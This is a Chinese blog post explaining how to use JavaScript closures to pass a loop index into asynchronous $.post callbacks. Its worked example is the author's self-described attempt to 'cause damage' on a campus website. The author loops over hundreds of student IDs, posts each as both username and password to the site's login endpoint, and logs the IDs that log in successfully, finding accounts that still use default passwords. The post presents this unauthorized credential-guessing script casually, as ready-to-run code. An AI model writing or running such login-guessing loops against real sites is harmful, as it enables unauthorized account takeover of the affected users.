1. 程式人生 > >[js]利用閉包向post回撥函式傳引數

[js]利用閉包向post回撥函式傳引數

最近在閒逛校園XX站的時候,打算搞個破壞,試試有多少人還是用初始密碼登陸。比較懶,所以直接開啟控制檯來寫。

  所以問題可以描述為:

      向後端不斷的post資料,id從1~5000自增,後端會根據情況來返回值res,需要把res=100的id輸出。   

  最簡單的想法是:for迴圈內部呼叫post資料     

複製程式碼

//錯誤示範 一
for(var i = 92000;i<92500;i++){
    //直接借用一下網站內引用的jq
    $.post("login.php", { ts:"login",username: i, password: i},function(data){
        if(data=="100"){
            console.log(i);
        }
    });
}

複製程式碼

  但是,執行結果是這樣的:

  

  post函式時非同步的進行請求,拿到請求之後才會執行回撥函式。for迴圈執行速度要快於post函式的執行速度。當執行post之後,for迴圈不會等待post拿到res並執行回撥,而是繼續遍歷,for迴圈幾百幾千次的速度都快於post。所以當第一個post請求去執行其回撥時,迴圈已經結束,i=92500。

  這和一道很經典的筆試題很像:   

for(var i = 0;i<10;i++){
    setTimeout(function(){
        console.log(i);
    },1000);
}
//輸出結果為10個 10

  解決辦法:利用閉包

複製程式碼

//利用閉包和返回函式實現
for(var i=92000;i<92500;i++){
    $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){
            return function(data){
                if(data == "100"){
                    console.log(i)
                }
            }
        })(i);
    );
}

複製程式碼

  執行結果:

  

  相關解釋:

    通過把回撥寫成匿名函式閉包,將i變數儲存並且立即呼叫函式,但是為了獲取到返回的data資料,所以在閉包內部return function(data),用來作為真正的回撥函式接受返回引數res-data

    當執行完for迴圈之後,console.log()首先能拿到正常返回資料data的值,因為js裡函式訪問引數時訪問的作用域不是當前作用域,而是函式宣告環境下的作用域,所以就可以直接訪問到每個res=100對應的迴圈變數i。

  所以上面那個面試題的一種解法就是:

for(var i = 0;i<10;i++){
  (function(i){setTimeout(function(){
    console.log(i);
  },1000)})(i);
}

  對函式的一些理解:

  1.函式可以作為引數傳入,參與運算。

  2.函式可以儲存內部資料的狀態,常見通過建構函式內部var變數實現類的私有成員

  3.還沒想好怎麼說,以後再補